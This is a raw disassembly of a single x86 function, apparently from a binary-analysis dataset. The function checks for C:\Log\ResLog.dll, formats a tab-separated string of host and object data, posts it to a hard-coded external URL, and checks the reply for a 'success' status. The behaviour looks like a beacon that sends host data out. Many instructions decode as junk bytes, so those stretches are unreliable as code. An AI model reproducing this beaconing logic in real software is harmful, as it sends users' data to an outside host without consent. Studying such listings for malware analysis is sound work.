Function at 0x41a150
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bd0c9
mov eax, dword fs:[0]
push eax
mov eax, 0x1e40
call fcn.00455b10
mov eax, dword [0x634274]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1e10], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1e04], eax
call fcn.00460579
test al, al
je 0x41a1ad
cmp al, byte [edx - 0x2e3f7e69]
cmp eax, 0x4a10fa44
invalid
call fcn.00460351
test al, al
je 0x41a1d5
fucom st(6)
jno 0x41a1f7
pop eax
cmpsb byte [esi], byte es:[edi]
rcr eax, cl
push ebx
mov bl, 0x15
push edx
push ebp
popfd
int 0x4f
add eax, 0x775b45ca
ret
call fcn.0046082b
test al, al
je 0x41a1f6
fmul dword [esi + 0x2ee67fad]
mov ch, 0xac
mov ebx, 0x86099c07
in al, dx
jne 0x41a24f
sub ecx, dword [ecx + 0x788f6761]
enter 0x30e8, 0x66
add al, 0
call fcn.0046082b
xor byte [esi + 4], ah
add byte [eax + eax*8 - 0x6209e78c], al
mov ebp, 0x181c9ecb
jnp 0x41a263
test al, al
je 0x41a217
neg byte [ebp + 0x1c9ecbbd]
sbb byte [ebx + 0x5b], bh
add esp, esi
imul esp, dword [esi - 0x6a], 0x5220050d
or eax, 0xd83dc538
hlt
call fcn.00460282
test al, al
je 0x41a23e
mov ecx, 0xb51ce54f
test byte [edx + edi + 0x44], cl
xor ebx, edi
lodsd eax, dword [esi]
cmp edi, dword [eax]
cmp bl, byte [ecx]
jecxz 0x41a2a6
adc byte [edx], ah
fisub dword [esi + 0x4c57ca52]
jge 0x41a29a
invalid
push 0x11
xor eax, eax
mov dword [ebp - 0x1d48], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1d5c]
mov dword [ebp - 0x1d4c], 0
pop esp
add byte [ebp - 0x1d5b73], cl
inc edi
test dword [edx + 0xffff], esi
add byte [eax], al
mov word [ebp - 0x1d5c], ax
call fcn.00402510
test dword [edx - 0x5c170001], esp
cmp dh, 0xff
cmp dword [ebp - 0x1d48], 8
lea eax, [ebp - 0x1d5c]
mov dword [ebp - 4], 0
cmovae eax, dword [ebp - 0x1d5c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp + 0xc]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1e08], ecx
call fcn.00460351
test al, al
je 0x41a2bc
sal byte [ebx + edx - 0x6a], 0xf0
mov al, byte es:[ecx]
add edx, 0x553dbeba
aad 0x9e
imul ebp, dword [eax + 0x3cfd005], 0xffffffe8
push es
pushal
add al, 0
xchg esi, eax
invalid
call fcn.004602c7
test al, al
je 0x41a2dc
xor byte [eax + 0x773cb188], dh
sub eax, 0xd429148f
lcall 0xc2b2, 0x441e34d6
mov bh, 0xb9
fcom qword [esp + ebp*4 - 0x80]
mov ebp, 0xffffe1f8
add byte [esi + 1], bh
cmp byte [ebp - 0x1e08], 0
mov esi, 1
je 0x41a315
push 0x270f
push 0
xor bl, bl
call fcn.00471aeb
add esp, 8
movzx ebx, bl
cmp eax, 0x64
cmovle ebx, esi
call fcn.004651c9
test eax, eax
jne 0x41a315
test bl, bl
je 0x41ab0a
mov edx, dword [ebp - 0x1e04]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
cmp byte [edx], 0
jne 0x41a33f
xor ecx, ecx
jmp 0x41a34d
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a344
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1ce4]
call fcn.0040e000
lea eax, [ebp - 0x1ce4]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1d44]
push eax
call fcn.0046e47d
add esp, 8
mov eax, dword [ebp - 0x1cd0]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x41a396
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.0040aa40
cmp dword [ebp - 0x1d30], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d44]
mov dword [ebp - 0x1cd0], 0xf
cmovae eax, dword [ebp - 0x1d44]
push ecx
push eax
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.0046e5d7
add esp, 8
call fcn.004600e4
test al, al
je 0x41a3ee
mov edi, 0x7ad69aa6
punpckldq mm7, dword [ecx + edx*2 + 0x78]
add cl, byte [eax + 0x7c]
cmp eax, 0xc0e837db
pop ebp
add al, 0
call fcn.004601b3
test al, al
je 0x41a40b
adc cl, byte [ebp - 0x34af0e26]
movsb byte es:[edi], byte [esi]
add eax, 0x51fec527
lcall 0x12df, 0xcfa615e5
sub dword [eax], ebp
adc byte [eax], al
add byte [ebp - 0x1ccb7b], cl
jmp [edx]
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00486960
add esp, 0xc
call fcn.004601b3
test al, al
je 0x41a43c
sal byte [edi + 0x61f3b0c7], cl
jo 0x41a453
and dword [edi + 0x54], 0xffffffe4
in al, dx
xchg edi, eax
das
hlt
mov ebx, dword [ebp - 0x1e10]
cmp dword [ebx + 0x9c], 0x10
lea eax, [ebx + 0x88]
jb 0x41a453
mov eax, dword [eax]
cmp dword [ebx + 0x54], 0x10
lea ecx, [ebx + 0x40]
jb 0x41a45e
mov ecx, dword [ecx]
cmp dword [ebx + 0x84], 0x10
lea edx, [ebx + 0x70]
jb 0x41a46c
mov edx, dword [edx]
cmp dword [ebx + 0x6c], 0x10
lea esi, [ebx + 0x58]
jb 0x41a477
mov esi, dword [esi]
cmp dword [ebx + 0x3c], 0x10
lea edi, [ebx + 0x28]
jb 0x41a482
mov edi, dword [edi]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x114]
push eax
push ecx
push edx
push esi
push edi
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.0040ad50
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00486960
add esp, 0x30
mov dword [ebp - 0x1e14], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
jne 0x41a4ea
xor ecx, ecx
jmp 0x41a4fc
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a4f3
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1d14]
call fcn.0040e000
cmp dword [ebp - 0x1d00], 0x10
lea ecx, [ebp - 0x1e14]
push ecx
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 4
push ecx
push dword [ebp - 0x1d04]
invalid
lea eax, [ebp - 0x1d14]
cmovae eax, dword [ebp - 0x1d14]
push eax
call fcn.0047389d
add esp, 0x10
call fcn.004601f8
test al, al
je 0x41a561
call 0x7135400d
clc
ret 0x1c69
call fcn.004607a1
test al, al
je 0x41a57a
cmp ah, bh
mov ch, 0x89
mov dl, 0xc
ja 0x41a52e
wait
or ch, dl
push esi
pushal
jae 0x41a5f4
jmp 0x41a508
lea ecx, [ebp - 0x1dfd]
call fcn.00402b80
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1dfd]
call fcn.0047910f
call fcn.00460420
test al, al
je 0x41a5b4
fld qword [ebx + 0x103ca818]
jnp 0x41a60d
cmp al, 0
bound esi, qword [ebx + 0x71]
pop ds
test byte [ecx - 0x18], bh
and bl, byte [esi + 4]
add byte [eax + eax*8 - 0x4a63e88c], al
push edi
call fcn.004603db
test al, al
je 0x41a5d4
pushfd
mov ch, 0x57
sub byte [edx + 0x39430711], ah
pop esp
movsb byte es:[edi], byte [esi]
and al, 0xcb
xchg edi, eax
invalid
push 0x48
push str.https:__tjtv3.znshuru.com__41e3a5d82c2f09fe60a6725f44ec2de272820101ea
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.0040e000
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 6
jne 0x41a612
add dh, al
test dword [ebx], eax
invalid
add al, 0x33
leave
xor ecx, ecx
jmp 0x41a629
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a620
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.0040dda0
call fcn.00460648
test al, al
je 0x41a663
invalid
call fcn.00460603
test al, al
je 0x41a67c
insb byte es:[edi], dx
add dl, byte [eax - 0x2a]
lahf
pop esp
cmpsb byte [esi], byte es:[edi]
push ecx
test dh, 0x32
div byte [esi]
out 0xa, eax
call fcn.004606d2
test al, al
je 0x41a6a2
ret
cmp byte [ebp + 8], 0
jne 0x41a72d
xor eax, eax
mov dword [ebp - 0x1d78], 7
mov dword [ebp - 0x1d7c], 0
mov word [ebp - 0x1d8c], ax
mov dword [ebp - 0x1d60], 0xf
mov dword [ebp - 0x1d64], eax
mov byte [ebp - 0x1d74], al
push 4
push 0x5c7344
lea ecx, [ebp - 0x1d8c]
mov byte [ebp - 4], 7
call fcn.00402510
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1cfc]
push eax
lea ecx, [ebp - 0x1d74]
call fcn.0040ded0
mov ecx, dword [ebp - 0x1e10]
lea eax, [ebp - 0x1d8c]
push eax
call int.00415430
lea ecx, [ebp - 0x1d8c]
call fcn.004153c0
jmp 0x41aa20
lea ecx, [ebp - 0x1e4c]
call fcn.0046fcaa
cmp dword [ebp - 0x1ce8], 0x10
lea eax, [ebp - 0x1cfc]
lea ecx, [ebp - 0x1e4c]
mov byte [ebp - 4], 8
cmovae eax, dword [ebp - 0x1cfc]
push eax
mov dword [ebp - 0x1e08], 0
call fcn.0046ff81
lea ecx, [ebp - 0x1e4c]
call fcn.004706da
mov esi, eax
mov eax, 1
mov ebx, dword [esi + 4]
sub ebx, dword [esi]
cmove ebx, eax
inc ebx
push ebx
call fcn.0045566c
mov edi, eax
add esp, 4
mov dword [ebp - 0x1e04], edi
test edi, edi
je 0x41a7c2
push ebx
push 0
push edi
call fcn.00486960
mov eax, dword [esi + 4]
add esp, 0xc
xor ecx, ecx
sub eax, dword [esi]
je 0x41a7c2
nop dword [eax + eax]
mov eax, dword [esi]
mov al, byte [ecx + eax]
mov byte [ecx + edi], al
inc ecx
mov eax, dword [esi + 4]
sub eax, dword [esi]
cmp ecx, eax
jb 0x41a7b0
call fcn.004606d2
test al, al
je 0x41a7e6
mov eax, dword [0x1434211b]
mov bl, 0xf0
push esp
adc dword [ebx], ebx
xor eax, 0xc7778111
add ch, ch
fadd dword [eax + ebp*2]
iretd
call fcn.004604aa
test al, al
je 0x41a800
arpl bx, ax
sti
mov byte [0xe957e69a], al
std
add eax, dword [ecx - 0x5e]
cmp al, 0x4d
pop ss
test al, 0
call fcn.004607a1
test al, al
je 0x41a81f
or dword [esi + 5], ebx
and byte ds:[esp + edx*4], dl
imul ebp, dword [eax + 0x76], 0xfffffff7
mov cl, 0x90
pushfd
xor eax, 0xfcbd8b3e
loope 0x41a81d
invalid
push dword [ebx]
test byte [ebp + 0x570b74ff], 0xe8
and al, 5
add byte [ebx - 0xf74fb3c], al
xor esi, esi
test edi, edi
je 0x41a830
push edi
call fcn.0046cc91
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x1e0c]
call fcn.00476cbb
lea eax, [ebp - 0x1e0c]
push eax
lea ecx, [ebp - 0x1dfc]
call fcn.00476cc3
push 0
lea ecx, [ebp - 0x1cdc]
mov byte [ebp - 4], 9
call fcn.004758c5
cmp byte [esi], 0
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x1d18], 0xf
mov dword [ebp - 0x1d1c], 0
mov byte [ebp - 0x1d2c], 0
jne 0x41a886
xor ecx, ecx
jmp 0x41a899
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a890
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1d2c]
call fcn.0040e000
push 1
lea eax, [ebp - 0x1cdc]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x1d2c]
push eax
lea ecx, [ebp - 0x1dfc]
call fcn.004786bc
mov ecx, dword [ebp - 0x1d18]
mov bl, al
mov byte [ebp - 4], 0xa
cmp ecx, 0x10
jb 0x41a8e9
inc ecx
push ecx
push dword [ebp - 0x1d2c]
lea ecx, [ebp - 0x1d2c]
call fcn.0040aa40
test bl, bl
je 0x41a965
push str.status
lea ecx, [ebp - 0x1cdc]
call fcn.00475bd8
mov ecx, eax
call fcn.00476754
test al, al
jne 0x41a965
lea eax, [ebp - 0x1d2c]
push eax
push str.status
lea ecx, [ebp - 0x1cdc]
call fcn.00475bd8
mov ecx, eax
call fcn.0047615c
lea eax, [ebp - 0x1d2c]
push str.success
push eax
call fcn.00412690
xor ecx, ecx
add esp, 8
test al, al
mov eax, dword [ebp - 0x1d18]
setne cl
mov dword [ebp - 0x1e08], ecx
cmp eax, 0x10
jb 0x41a965
inc eax
lea ecx, [ebp - 0x1d2c]
push eax
push dword [ebp - 0x1d2c]
call fcn.0040aa40
call fcn.004604ef
test al, al
je 0x41a983
xchg edx, eax
mov edi, 0xa8693ee9
cld
push 0x31
mov dword [ebx + 0x68], ecx
lcall 0xb972, 0xec9f7f27
jns 0x41a985
call fcn.00460465
pop edx
add al, 0
test al, al
je 0x41a9aa
and bl, byte [esi - 0x5e]
and edi, dword [ebx + 2]
inc esp
xor al, 0xe0
inc edi
dec ecx
push 0x79
mov esp, 0xac804679
int1
jne 0x41a9b7
fnsave dword [ebx - 0x5b3e088d]
mov eax, 0x68e8ee3b
pop ebp
add al, 0
call fcn.00460717
test al, al
je 0x41a9d3
push esi
mov edi, 0xac61ef32
popal
lodsb al, byte [esi]
push 0x64
sbb byte [edi], bh
push ebx
mov edx, 0xce796dfe
xchg esi, eax
mov bh, 0x37
ret 0x94d
mov eax, dword [ebp - 0x1e04]
test eax, eax
je 0x41a9e6
push eax
call fcn.00455675
add esp, 4
cmp dword [ebp - 0x1e08], 0
jne 0x41a9ff
mov ecx, dword [ebp - 0x1e10]
push 0x5c7344
call fcn.00415650
lea ecx, [ebp - 0x1cdc]
call fcn.00475a36
lea ecx, [ebp - 0x1dfc]
call fcn.00415320
lea ecx, [ebp - 0x1e4c]
call fcn.0046fd44
mov eax, dword [ebp - 0x1ce8]
cmp eax, 0x10
jb 0x41aa70
mov ecx, dword [ebp - 0x1cfc]
inc eax
cmp eax, 0x1000
jb 0x41aa67
test cl, 0x1f
je 0x41aa43
call fcn.0048a351
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x41aa4f
call fcn.0048a351
sub ecx, eax
cmp ecx, 4
jae 0x41aa5b
call fcn.0048a351
cmp ecx, 0x23
jbe 0x41aa65
call fcn.0048a351
mov ecx, eax
push ecx
call fcn.00455659
add esp, 4
lea ecx, [ebp - 0x1dfd]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.00483a30
mov eax, dword [ebp - 0x1d00]
cmp eax, 0x10
jb 0x41aab4
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.0040aa40
mov eax, dword [ebp - 0x1d30]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
cmp eax, 8
jb 0x41aaed
inc eax
lea ecx, [ebp - 0x1d44]
push eax
push dword [ebp - 0x1d44]
call fcn.00402610
xor eax, eax
mov dword [ebp - 0x1d30], 7
mov dword [ebp - 0x1d34], 0
mov word [ebp - 0x1d44], ax
mov eax, dword [ebp - 0x1d48]
cmp eax, 8
jb 0x41ab28
inc eax
lea ecx, [ebp - 0x1d5c]
push eax
push dword [ebp - 0x1d5c]
call fcn.00402610
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00455afe
mov esp, ebp
pop ebp
ret 0x10